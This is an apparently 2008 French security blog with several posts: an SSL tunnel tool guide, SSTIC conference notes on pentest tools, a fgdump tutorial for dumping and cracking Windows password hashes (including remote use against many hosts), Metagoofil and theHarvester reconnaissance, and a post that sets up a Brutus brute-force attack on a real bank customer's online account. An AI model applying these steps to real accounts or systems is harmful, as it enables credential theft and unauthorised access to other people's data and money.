# perl -MCPAN -e 'install "Net::SSLeay"'
# perl -MCPAN -e 'install "IO::Socket::SSL"'
# perl -MCPAN -e 'install "Net::Telnet"'
# perl -MCPAN -e 'install "IO::Socket::INET6"'

Concernant le contexte, nous avons donc besoin de deux machines. L'OS est indépendant, le tout est que vous puissiez exécuter le script perl téléchargé. Dans notre cas, nous aurons :

Une machine serveur sous Linux, 192.168.0.10 (valeur modifiée) ;
Une machine cliente sous Linux, 192.168.0.20 (valeur modifiée) ;

Dans la suite de ce post, nous allons reprendre les exemples de l'auteur mais en expliquant de bout en bout les cas pratiques afin que vous puissiez facilement utiliser l'outil. C'est ainsi que nous débuterons dès la génération du certificat par exemple. A noter cependant que si le but est seulement de s'exercer, l'auteur de l'outil propose des certificats et des clés de test.

1 - Créer un tunnel SSL pour sécuriser ses communications

NB : Aller directement à la partie 1.2 si vous utilisez les certificats proposés par GomoR.

1.1 - Création des certificats

1.1.1 - Etablissement de la CA

Nous utilisons openssl (que vous devez avoir mis à jour si vous êtes sous Debian !!! cf. vulnérabilité critique). Aussi, nous devons déterminer une autorité de certification (dénommée ensuite CA) pour signer le certificat mais ici, il s'agira d'un certificat auto-signé, quand bien même cela n'a aucune valeur d'un point de vue sécurité, le principe reste identique.

# openssl req -new -x509 -keyout ca-msblog.key -out ca-msblog.crt

Nous obtenons deux fichiers : ca-msblog.crt (certificat) et ca-msblog.key (clé privée) de la CA.

1.1.2 - Génération du certificat côté serveur

# openssl req -new -keyout server-msblog.key -out server-msblog.csr

Puisque le certificat sera signé localement par la CA, nous n'utilisons pas les attributs supplémentaires ("extra"). Deux nouveaux fichiers sont générés : server-msblog.key et server-msblog.csr. Envoyer ce dernier au CA s'il ne s'agit pas de la même machine.

Commençons par préparer le magasin de certificats pour la CA :

# vi /usr/lib/ssl/openssl.conf

Trouvez la ligne commençant par dir et modifiez ./demoCA par ./msblogCA.

# mkdir ./msblogCA
# cd msblogCA
# touch index.txt
# mkdir newcerts
# echo "01" > serial

Puis créons le certificat serveur lui-même :

# cd ..
# openssl ca -cert ca-msblog.crt -keyfile ca-msblog.key -out server-msblog.crt -in server-msblog.csr

Acceptez le certificat en tapant 'y' quand cela est demandé (deux fois) :

Nous venons de créer le certificat server-msblog.crt. Nous avons tous les fichiers nécessaires ;)

1.2 - Créer un tunnel de communication chiffré

1.2.1 Mettre le serveur en écoute sur le port 12345 et rediriger le trafic sur le port 80

# perl scnc.pl -vc -a ca-msblog.crt -f server-msblog.crt -k server-msblog.key -p 12345 -r localhost:80

12.2 Lancer la connexion du client vers le serveur

# perl scnc.pl -v -s localhost -p 6789 -r server:12345::ssl

2 - Audit d'un serveur Web en HTTPS

Il s'agit ici de faire de notre client un proxy SSL qui nous servira à auditer le serveur Web.

2.1 - Préparation

Nous avons besoin d'un certificat et d'une clé privée pour ce client. Ces deux éléments seront générés de la même manière que nous l'avons fait pour le serveur précédemment (cf. 1.1.2). Ainsi, nous obtenons client-msblog.crt et client-msblog.key.

2.2 - Tests pour l'audit

Pour commencer l'audit, il suffit de se connecter (sur le client avec serveur audité, 192.168.0.10) :

# perl scnc.pl -v -r 192.168.0.10:443::ssl -a ca2-msblog.crt -f client-msblog.crt -k client-msblog.key -s localhost -p 1234

NB : il faudra retourner sur la "machine-proxy", entrer éventuellement la passphrase.

Puis de lancer nos commandes (sur le client toujours - exemple) :

# perl scnc.pl -v localhost 1234
# GET / HTTP/1.0

De même, utiliser l'adresse loopback dans les outils utilisés pour l'audit du serveur HTTPS.

[SSTIC2008] Feedbacks

2008-06-07T03:07:00.000-07:00

Lors de l'édition 2008 du SSTIC, plusieurs conférences ont porté sur les tests d'intrusion avec différents points de vue :

- point de vue théorique: le danger des outils d'intrusion automatisés ;

- point de vue pratique avec l'outil SinFP, un scanner semi-actif/semi passif pour la phase de découverte d'un test d'intrusion ;

- point de vue juridique.

1 - Outils d'intrusion automatisés (par Mathieu BLANC)

1.1 - Les menaces portés par les outils de pentest automatisés

Par outils de tests d'intrusion, on parle ici de Metasploit, Core Impact et CANVAS. Personnellement, je ne retiendrai que les deux derniers, le premier n'ayant pas pour objectif de reconstituer l'ensemble de la démarche d'un Pentest. Ensuite, la particularité de cet exposé était de montrer ces outils d'un point de vue "original", et plus précisément d'en montrer les dangers.

Les outils étudiés ont la faculté de reproduire le déroulement d'un test d'intrusion (phase de découverte, d'identification, tentative d'exploitation (à l'aide de 0day en plus d'exploits corrigés), découverte des ressources locales, élévation de privilège locale, installation d'agent pour rebond et répétition des opérations précédentes). Le but est de compromettre le maximum de machines sans se préoccuper de la furtivité.

Les solutions sont si simples que si elles sont mises à la disposition de personnes malicieuse avec seulement un minimum de compétence, cela peut s'avérer dévastateur. Or, via des réseaux pirates ou P2P, il est possible de se les procurer ...

Lors d'une erreur de la part de Core Impact, l'éditeur de Core Security, la liste des abonnés étaient disponible via la liste de diffusion des mises à jour.

Une version ancienne de Core Impact exploitait une vulnérabilité en déplaçant temporairement le sh. Cela pouvait se conclure par la création d'une backdoor en cas d'incident pendant l'exploitation.

La propagation de l'action des solutions peuvent amener à un débordement du périmètre convenu avec le client. Aussi, cela peut provoquer des attaques de type déni de service sur des applications sensibles.

1.2 - Se protéger des outils de pentest automatisés

Commencer par mettre à jour ses systèmes d'exploitation et ses applications. Ainsi, seuls les 0day, en proportion mineure, pourront affecter nos machines.

Ensuite, les agents utilisent un "multi-stage shellcode". A chaque "étage", une contre-mesure devra être trouvée. Si le second étage n'est pas exécuté, c'est que l'attaque a été bloquée à ce niveau.

Pour bloquer les attaques réseau, un IPS doté de signatures adéquat semble être la solution la plus appropriée. Ensuite, une sandbox permet de rediriger l'action des agents pour les rendre inoffensifs.

Au niveau système, les sondes de type SNORT en mode HIDS peuvent bloquer un certain nombre d'attaques.

Enfin, il est possible de contre-attaquer avec des attaques de type buffer-overflow par exemple.

2 -SinFP, prise d'empreintes active et passive (par Philippe AUFFRET)

2.1 - Les forces de SinFP

J'ai décidé de vous parler de cet outil car il peut nous être très utile lors d'un test d'intrusion. Pourquoi ? Notamment parce qu'il peut représenter une bonne alternative par rapport à nmap lorsque les conditions de tests sont complexes :

environnement NATé/PATé ;
présence d'équipements de sécurité (pare-feu (et ports filtrés), I{D|P}S ;
un ou quelques ports TCP ouverts seulement ;
implémentation d'IPv6 ;
...

Aussi, cet outil de prise d'empreinte dispose d'un mode passif ET actif ! Ce qui fait sa particularité. Ainsi, SinFP peut avoir la force d'un p0f et d'un nmap respectivement.

De plus, il est doté d'un mode d'invisibilité. pour accomplir cela, SinFP utilise des requêtes standards qui ne seront pas bloquées par un IDS car alors, ce dernier risquerait de bloquer des requêtes légitimes.

2.2 - SinFP, comment ça marche ?

En mode actif, 3 tests sont effectués :

P1 : Une requête TCP SYN sans option ;
P2 : Une requête TCP SYN avec de nombreuses options ;
P3 : Une requête TCP SYN + ACK.

Les réponses se basent ensuite sur l'analyse des entêtes IP et TCP et une base de signature (environ 150).

En mode passif, la récupération d'information se fait :

à l'aide d'un fichier pcap ;
grâce à l'écoute du réseau.

Ensuite, la méthode d'analyse de la signature récupérée peut être transformée de sorte que l'analyse est assimilée à celle vue pour une signature active (cf. ci-dessus).
Il faut savoir que SinFP peut être lancé en mode mixte (ie, passif et actif).

3 -Les tests d'intrusion d'un point de vue théorique (par Marie BAREL)

3.1 - Le pentest, une problématique complexe

Il nous fallait bien le SSTIC pour aborder enfin les tests d'intrusion d'un point de vue juridique. Et qui dit consultant SSI juridique dit ... Marie Barel ! Ok, c'était écrit dans le titre ;) Pour commencer, Marie nous a fait sourire en classant Nessus dans les outils "passifs" mais nous l'avons bien compris, c'est parce qu'il n'exploite pas de faille. Pour résumer brièvement le contenu de la présentation, il faudrait retenir les phrases suivantes :

le contrat entre le prestataire et le client, c'est très très très important ! Attendez, je rajoute encore un "très" ! et attention, les contrats type, c'est pas bien !
il ne faut surtout pas négliger les phases de préparation (délimitation du périmètre, intervention d'un tiers ? (ex : hébergeur), etc ...) ;
l'expert sécurité, il maîtrise !

3.2 - Se protéger juridiquement

Si le ton est quelque peu ironique, c'est qu'en réalité, les aspects juridiques sont d'une complexité inouïe et certainement plus encore que le plus difficile des pentests que vous ayez pu faire sur le plan technique et là, Marie, pour nous l'expliquer, elle maîtrise ! Ici aussi, il n'y a pas un pentest pareil et puisqu'il y a forcément risque et argent mis en jeu, la prudence est indispensable. Si des lois (notamment le code pénale) essaient de cadrer tous les scénarii, c'est irréaliste dans la pratique. En effet, les mesures de protection juridiques côtés client et prestataire souffrent de failles elles aussi : on ne peut pas être exhaustif et la réalité ne permet souvent pas de mettre en place les propositions d'une loi ou recommandation juridique. Bref, sécurité technique, organisationnelle ou juridique, même combat : il faut limiter le risque au maximum.

***

A noter que j'ai écrit deux autres posts, l'un sur la sécurisation des "green" datacenters et l'autre sur la "dépérimétrisation". Ces deux articles sont disponibles sur le blog de l'ESEC.

[PRIVILEGE ESCALATION]Alert! Your secret is known!

2008-05-18T12:26:00.001-07:00

Si vous souhaitez récupérer les mots de passes d'une machine Windows, la solution classique consiste à booter le PC sur un CD. Outre le fait que cela prend pas mal de temps, il est possible d'empêcher le reboot sur le CD en configurant de manière sécurisée le BIOS. Alors comment fait-on ? Il est donc temps de vous présenter fgdump !

Installation

1/ Télécharger la dernière version de fgdump sur : http://swamp.foofus.net/fizzgig/fgdump/downloads.htm

2/ Euh ... c'est tout ! ;)

Utilisation basique

Tout d'abord, nous allons commencer par utiliser fgdump pour récupérer les mots de passe hashés sur la machine locale. Pour cela, nous avons besoin d'un compte ayant les droits d'administrateur sur la machine locale, ce qui est le cas du compte sur lequel nous sommes connectés. Si un antivirus tourne sur la machine (ce que nous osons espérer !), cet utilitaire se chargera de l'arrêter et de le redémarrer pour vous :)

fgdump -O 32 -v

Avec -O (optionnel) pour spécifier que la machine utilise une architecture 32 bits (sinon, 64) et -v pour "verbose". Nous obtenons les résultats suivants :

Nous voyons que l'opération a réussi. En plus d'informations utiles (comme la version exacte de l'OS), fgdump génère plusieurs fichiers dont le fichier 127.0.0.1.pwdump. Nous y trouvons notamment les informations concernant le compte jer001 qui est notre cible :

jer001:1013:B34CE522C3E4C8774A3B108F3FA6CB6D:B9F917853E3DBF6E6831ECCE60725930:::

Si de plus ce compte dispose de plus de droits que nous en avons actuellement, cela nous permettra de réussir une escalade de privilèges.

Encore faut-il cracker ce mot de passe ... John ! L'outil que nous allons utiliser est john-the-ripper, certainement le cracker de mot de passe offline le plus connu (téléchargeable à l'adresse http://www.openwall.com/john/).

john-386.exe --users=jer001 127.0.0.1.pwdump

Ensuite, pour afficher le mot de passe, nous utiliserons en plus un petit script, d'un autre agent que vous connaissez certainement ;) (Agent M.A) que je remercie au passage. Ce dernier permet d'obtenir la casse du mot de passe, ce que le cracker ne nous fournit pas.

Utilisation avancée

Parmi les options proposées par fgdump, voici les commandes qui me paraissent intéressantes :

1/ Fournir un nom pour obtenir le nom des répertoires partagés. Une fois le compte jer001 compromis, nous l'utilisons ainsi :

fgdump -u jer001 -O 32 -v

2/ Si nous auditons un sous-réseau, nous pouvons lancer la commande sur une machine distante avec l'option -h et mieux, une liste de machines distantes avec l'option -f . Nous pouvons faire encore mieux en définissant le nom d'utilisateur et le mot de passe pour chaque machine auditée avec l'option -H . La liste aura alors la forme suivante :

192.168.0.2:jer001:passw0rd
192.168.03:Alice:guess_me
192.168.0.4:Bob:Can_U_Find_Me?
...

Et pour terminer, nous ajoutons la commande -T pour exécuter plusieurs threads simultanément, ce qui permettra de rendre le travail plus rapide. Au final, nous obtenons donc la commande suivante pour tester le réseau :

fgdump -H liste.txt -T 5

Une dernière option intéressante : -s pour retrouver les mots de passe stockés par Outlook et/ou Internet Explorer :

Pour plus d'information, vous devriez lire la documentation des auteurs ici.

[Pentesting] [Discovery phase] When relevant information is available ... on the Internet!

2008-04-25T16:00:00.001-07:00

Lorsque nous commençons nos tests d'intrusion, il est important d'engranger un grand nombre d'information. Cela constitue autant de piste d'attaque par la suite. En l'occurrence, les identifiants et mots de passe sont des données privilégiées, ainsi que les documents sensibles. Pour faciliter et automatiser une telle recherche, nous allons voir deux outils de la société Edge-Security. Cette dernière vient de sortir une nouvelle version de son outil Metagoofil et il vaut le détour ! Nous allons le voir tout de suite.

Préparation de l'attaque

1/ Commençons par télécharger l'outil à l'adresse suivante : http://www.edge-security.com/soft/metagoofil-1.4.tar.

2/ Dans votre console, décompressez-le :

tar -xvf metagoofil-1.4.tar

3/Installer extract qui est nécessaire pour l'extraction des méta-données des documents.

apt-get install extract

4/ Vérifier que dans le code de metagoofil, le chemin donné pour extract est le bon (fichier metagoofil.py). Sinon, changez-le pour avec le bon path : extcommand='<chemin>'.

C'est tout, vous êtes déjà prêts !

A l'exploration !

L'outil s'utilise de la manière suivante (ex : microsoft.com) :

./metagoofil -d microsoft.com -f xls -l 100 -o microsoft-test.html -t /home/jer/metagoofil/microsoft-test/

Avec :

-d ;
-f (peut être doc, xls, pdf, ... ou all) ;
-l (par défaut 100) ;
-t (où seront stockés les documents récupérés).

Ici, nous avons utilisé les formats doc car sinon, avec le paramètre all, l'outil récupérera plus de .pdf qui sont des documents légitimement accessibles sur le WEB ce qui devrait être moins le cas pour les .xls (même si c'est moins vrai dans l'exemple que nous prenons). Puisqu'il s'agit d'une grande entreprise, nous devrions récupérer un maximum d'information. Cela nous demanderait alors par conséquent plus de temps et d'espace disque.

Une fois terminé, nous voyons apparaître les chemins de documents et les noms d'utilisateurs trouvés ainsi que les noms de services de l'entreprise !

Evidemment, nous devons éliminer les informations non pertinentes à ce niveau. Les données ont été récupérées grâce aux champs "auteurs" et "chemin" des documents, eux-mêmes localisés avec des requêtes Google. Cela nous donnes une bonne base et même des formats (de mail ? d'identifiant ?) comme emma.pXXXXXXX. N'oublions pas qu'il peut aussi s'agir de partenaires ou de client de la cible est qu'il est important de trier les résultats. Quoiqu'il en soit, ces données devraient être intéressantes par la suite du test d'intrusion ;)

Les ressources fournies par Metagoofil

Outre l'output sur le terminal, Metagoofil fournit les stocke les documents récupérés dans le répertoire désigné par l'option -t. Vous devriez y trouver des informations très intéressantes sur votre cible ... Dans notre exemple, un tableau contenant le nom de commerciaux et leur numéro interne a été trouvé. Sur une autre requête exécutée sur les .doc, un CV d'un consultant de l'éditeur a été retrouvé.
Aussi, Metagoofil founit un fichier HTLM constituant le reporting de ses recherches. En résumé, nous y trouvons pour chaque fichier (au mieux) :

Le titre et descriptif du document ;
Le nom de l'auteur ;
Le suivi des révision ;
Le nom de la dernière personne ayant sauvegardé le fichier pour la dernière fois ;
La date de création du fichier et de modification ;
L'outil qui a servi a créer le fichier (ex : Acrobat Distiller) voire la version (5.0.2) et même l'OS (ex : Machintosh) ;
L'adresse MAC de la machine ;
Le chemin où est enregistré physiquement le fichier (et donc certainement un partage ouvert puisque le fichier a été récupéré depuis Internet ...) ;
Et souvent des données additionnelles sur les outils utilisés par la cible.

Entre fuite d'information et données importantes pour la suite du pentest, vous avez déjà ici de quoi faire ;) Voici deux examples :

Pour aller plus loin

Pour voir un autre exemple de l'utilisation de cet outil, une vidéo est disponible sur le site d'irongeek.
Pour approfondir vos recherches, il existe un certains nombre de requêtes Google qui peuvent être très utiles. Le site de Johnny LONG (auteur de "Google Hacking") devrait être une bonne source d'information. Son site se trouve ici.
Enfin, Edge-Security propose un autre outil - dans le même ordre d'idée - qui lui est plus focalisé sur la recherche d'adresses emails. Il se base aussi sur le moteur de recherche Google mais aussi le moteur de MSN, le serveur de PGP et le site linkedin. L'outil en question est appelé theHarvester et peut être téléchargé ici. Rapidement, en voici un exemple :

./theHarvester.py -d microsoft.com -l 100 -b google

Avec les options :

-d : ici, nous gardons le même exemple ;
-l : nombre de résultats limite ;
-b : source de l'information parmi Google, MSN, PGP et Linkedin.

Et vous, êtes vous sûrs qu'aucune de vos informations personnelles n'est accessible sur Internet ?

[Social Engineering] Is your money safe?

2008-04-25T13:56:00.001-07:00

Tout a commencé par un SMS ... Une nouvelle mission ? Non ! Mais finalement, ça aurait pu le devenir ... Un matin, je reçois un SMS d'une certaine banque que nous appellerons X autre que la mienne. Le texto m'indique que "je" suis à découvert de 51,29€ avec un découvert autorisé de 200€. De plus, il est écrit pour le compte "CC 12345678" (les chiffres et caractères ont volontairement été changés bien sûr). A votre avis, jusqu'où peut nous mener une simple erreur de numéro de téléphone ? Bien plus loin que l'on pourrait le penser ... L'aventure commence !

Avant-propos

Ce post a pour unique but de sensibiliser les personnes et en l'occurrence, beaucoup de gens puisque toute personne ayant un compte bancaire consultable en ligne est concernée... C'est pour cela que les informations sont transformées de sorte à ne pas enfreindre ni la loi, ni la vie privée de la personne incriminée à son insu.

Etape 1 : Récupération de l'identifiant

Je commence par me balader sur le site de la banque comme un simple utilisateur pour signaler l'incident. Dans la partie "contact", outre l'appel surtaxé, je peux remplir un formulaire pour envoyer un mail. Entre autres, je remplis le champs avec le numéro de compte. Aussi, on me propose trois types de compte : "compte chèque, compte titre ou compte épargne". Le CC dans le SMS me fait opter pour un compte chèque (ce dont nous aurions pu nous douter puisqu'il n'existe pas de découvert sur les compte titre et d'épargne). Suite à une erreur dans le formulaire, je suis renvoyé sur la même page et je remarque que le numéro de compte a été modifié : le vrai numéro de compte est en réalité précédé de trois "0". Ok, donc le vrai numéro de compte est 00012345678 (pour reprendre notre exemple factice). J'ai donc à ma disposition le premier élément pour m'authentifier, l'identifiant. La deuxième information à obtenir est le mot de passe...

Etape 2 : Récupération du mot de passe

Je découvre rapidement que le mot de passe est constitué d'un certain nombre de chiffres puisque l'on me propose un clavier numérique. Bon, ça se corse car difficile de contrer ce genre de clavier (quoiqu'il paraît que des programmes malicieux - ou malwares - font des captures d'écran ...). Il y a un bouton "valider" sous le clavier numérique mais je remarque qu'il devient "cliquable" qu'une fois avoir sélectionné 6 chiffres (au hasard, ne connaissant pas le mot de passe). Ok, il y a donc exactement 6 chiffres dans le mot de passe. Reste l'obstacle du clavier mais celui-ci sera très vite déjoué puisque un lien sur la même page du site permet une authentification "autre" en cas de problème. Je clique et hop, je me retrouve sur une page où l'on peut s'authentifier sans clavier numérique mais seulement à l'aide de deux champs de formulaire classique. Sinon, il était joli le clavier :). Pour la petite histoire, au début des claviers numériques, ils ne fonctionnaient que sous IE pour la caisse d'épargne pendant une certain temps. Il suffisait alors d'utiliser un navigateur alternatif comme Firefox.
Quoiqu'il en soit, voilà qui nous simplifie la tâche puisque nous sommes alors en face d'un mot de passe faible voire très faible puisque composé d'exactement (et seulement 6 chiffres). Je pense que vous avez déjà connu plus difficile ;) Nous avons à ce stade suffisamment d'information pour lancer une attaque :

L'identifiant ;
La forme et la longueur du mot de passe ;
Des champs HTML pour tenter une attaque de type brute force.

Etape 3 : Récupération du mot de passe

Malheureusement ici, nous allons tout de suite devoir calmer nos ardeurs car nous entrerions dans un cadre non légal. Cependant, la technique est très simple et expliquée ici car elle peut servir dans de nombreux cas. C'est aussi l'occasion de voir un outil comme Brutus qui nous permet d'appliquer toutes les données récupérées. Normalement, ce logiciel est téléchargeable ici. Il se peut que vous rencontriez des problèmes mais Google est votre ami ;)

Tout d'abord, le panneau principal. Vous devez y choisir :

target = la page du site contenant le formulaire ;
type = HTTP (form) ;
port = 443 ;
Authentification options = checker "single user" et entrer le numéro de compte dans le champs User ID ;
Pass mode = Brute Force.

Ensuite, cliquer sur le bouton "Range" et le configurer de telle sorte que seuls les mots de passe de 6 chiffres seront tentés comme le montre l'image suivante :

Dernière étape du paramétrage, définir les champs de la page HTML. Brutus peut vous aider. Pour cela, cliquer sur le bouton "Modify Sequence" du panneau général. Une nouvelle fenêtre s'ouvre. Entrez l'adresse de la cible est la page et l'identifiant dans les champs correspondants puis cliquez sur le bouton "Learn Form Settings" :

Une fois trouvé, Brutus montre le fruit de ses recherches . Sélectionner alors le champ correspondant à l'identifiant et cliquer sur "Username". De même avec "Password".

Cliquez sur "Accept" et "OK" des fenêtres ouvertes pour revenir au panneau principal. Il ne vous reste plus qu'à cliquer sur le bouton "start" et l'attaque commence. Pour le post, nous nous arrêterons ici mais je pense que vous avez l'essentiel appris l'essentiel ;)